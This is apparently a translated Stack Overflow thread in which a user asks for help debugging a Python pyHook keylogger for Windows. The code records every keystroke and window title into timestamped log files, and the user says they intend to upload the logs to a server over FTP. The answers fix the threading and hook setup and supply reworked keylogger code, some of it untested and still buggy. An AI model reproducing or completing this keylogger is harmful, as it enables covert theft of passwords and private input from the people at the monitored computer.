1
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread 
def fi():
   while True:
        dr =  socket.gethostname()
        if not os.path.exists(dr):
                os.makedirs(dr)
        else:
                pass
        now = datetime.datetime.now()
        p = now.strftime("%Y-%m-%d %H-%M")
        temp_path = dr + '/' + p
        fil =  temp_path + '.txt'
        sys.stdout = open(fil,'w')
        statinfo = os.stat(fil)
        fils = statinfo.st_size
        if(fils > 20):
            now = datetime.datetime.now()
            p = now.strftime("%Y-%m-%d %H-%M")
            temp_path = dr + '/' + p
            fil =  temp_path + '.txt'
            sys.stdout = open(fil,'w')  
        else:
            pass


lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
        global lastWindow       
        window = event.WindowName
        key = chr(event.Ascii)
        if window != lastWindow:
            start = '-----------------------------------'
            print str(start)
            print window 
            lastWindow = window
        print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

if __name__ == '__main__':
    Thread(target = fi).start()
    Thread(target = OnKeyboardEvent(event)).start() 

コードの最初のブロック def fi() は、ファイル サイズが 20KB を超えたときに新しいファイルを作成しています。2 番目のブロックはキーロガーで、キーをファイルに記録します。私はPythonとマルチスレッドが初めてです。今、このコードを実行すると。キーロガーを機能させることしかできず、ファイルは形成されず、ログも作成されません。これで私を助けてください。

  • このコードで必要なのは、現在の時刻に基づいた名前のログ ファイルを作成し、すべてのキーワードをファイルに記録することだけです。ファイルが 20KB を超えた場合は、古いファイルをサーバーにアップロードし、新しい現在時刻で新しいファイルを作成する必要があります。私はpythonが初めてなので、このコードがどこで間違っているのか、何をしていないのかわかりません.*
4

3 に答える 3

3

最初の問題

2 つのスレッドを作成しますが、2 番目のターゲットはの戻り値です OnKeyboardEvent(event)。これにはreturn- ステートメントがないため、戻り値はNoneであり、スレッドにはターゲットがありません。

第二の問題

あなたのコードはif __name__ == "__main__":-part に決して到達しません。pythoncom.PumpMessages()少なくとも私にとっては、ブロックします。

第三の問題

最初は、例外をスローせずにコードを実行する方法に戸惑いeventました。最後の行は、このスコープで以前に定義されていません。しかし、問題 2 のせいで問題 3 が今のところ有効にならないのですが、これを修正すると、問題 3 にも直面することになります。

解決

正直なところ、あなたが何をしようとしているのか、私にはよくわかりません。それぞれの問題を確実に修正する必要があります。

  1. スレッドのターゲットを呼び出さず、スレッドに関数オブジェクトを与えます。引数が必要な場合は、 の -argument を使用しますargsThreadThread(target = OnKeyboardEvent, args=(event)).start()

  2. の使い方がよくわかりませんpythoncom。多分pythocom.PumpWaitingMessages()あなたが欲しいものですか?

  3. あなたがここで何をしようとしているのか、私にはわかりません。スレッドでコールバック関数を呼び出したいのはなぜですか? この関数にはループも何もないので、一度実行して停止します。必死の試みだったと思いますか?

総論

  • sys.stdout本当にそうしなければならない場合を除き、再定義することはお勧めしません。
  • close()ファイルを開いてください。-ステートメントの使用を検討してwithください。
  • さらに良いことに、logging-module を利用してください。それは多くの異なる可能性を提供します。
  • スレッドを作成するときは、最後を考えてください。いつ停止しますか?どうすれば別のスレッドから停止できますか?
于 2013-03-22T06:52:41.097 に答える
0
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread 

def OnKeyboardEvent(event):

    # Now you can access your hookmanager, and change which keys you want 
    # to watch. Using 'event' and 'hm', you can do some fun stuff in here.
    global hm
    global lastWindow

    window=win32gui.GetWindowText(win32gui.GetForegroundWindow())      
    ####window = event.WindowName
    ####I'm not sure, but these last two functions may not return the "exact" 
    ####name values. I would call the same function you trying to compare against.

    key = chr(event.Ascii)
    if window != lastWindow:   ## Now you know these at least come from same function
        start = '-----------------------------------'
        print str(start)
        print window 
        lastWindow = window
    print key

def fi():    #This is your "worker loop"
   while True:
        dr =  socket.gethostname()
        if not os.path.exists(dr):
                os.makedirs(dr)
        else:
                pass
        now = datetime.datetime.now()
        p = now.strftime("%Y-%m-%d %H-%M")
        temp_path = dr + '/' + p
        fil =  temp_path + '.txt'
        sys.stdout = open(fil,'w')
        statinfo = os.stat(fil)
        fils = statinfo.st_size
        if(fils > 20):
            now = datetime.datetime.now()
            p = now.strftime("%Y-%m-%d %H-%M")
            temp_path = dr + '/' + p
            fil =  temp_path + '.txt'
            sys.stdout = open(fil,'w')  
        else:
            pass

if __name__ == '__main__':
    """This stuff only executes once"""

    global lastWindow
    lastWindow = None
    lastWindow=win32gui.GetWindowText(win32gui.GetForegroundWindow())
    print lastWindow

    global hm      #if we make this global, we can access inside OnKeyboardEvent
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()

    Thread(target = fi).start() #This is your worker loop

    # We don't need this. OnKeyboardEvent will get callbacks from system
    # thanks to Hookmanager and PumpMessages
    ##Thread(target = OnKeyboardEvent(event)).start()

    # You wouldn't want to do it with the way we are set up, but this is a "polite"
    # way to get PumpMessages to return...

    #ctypes.windll.user32.PostQuitMessage(0) # stops pumpMessages


    try:
        pythoncom.PumpMessages()   #This call will block forever unless interrupted

    except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
        print(e)    
        os._exit()
于 2013-03-22T08:24:49.137 に答える
0

元のメッセージに対するあなたの編集/コメントに気付きました。あなたがまだこれに取り組んでいるなら、ここに私が提案するものがあります。

ロギング、スレッド化、その他の作業は忘れてください。PyHook を最も単純な状態で動作させることに集中してください。元のコードから、pyHook を正しくセットアップするのに苦労しているようです (注: 現在 pyhook がインストールされていないため、これはテストされたコードではありません)。

import pyHook

def OnKeyboardEvent(event):
    print(event)

if __name__ == '__main__':

    global hm      #if we make this global, we can access inside OnKeyboardEvent
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()

    try:
        pythoncom.PumpMessages()   #This call will block forever unless interrupted,
                               # so get everything ready before you execute this.

    except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
        print(e)    
        os._exit()

このコードは、単純に任意のキー押下イベントをフックし、イベント インスタンスをコンソールに出力することを目的としています。技術的には、イベント コールバック内で多くの作業を行うべきではありません (できるだけ早く返される必要があります) が、テストのために、ワーカー関数の一部をイベント ループに入れることができる場合があります。これは、スレッド化されたワーカー ループを混在させる準備が整うまで、一時的なものにすぎません。(ファイル アクセス関数がエラーを引き起こしても驚かないでください)。

これを最初に機能させます。次に、標準出力をファイルに保存してみてください。(当分の間、20Kb のファイル制限を忘れてください)。

于 2013-04-14T21:13:24.277 に答える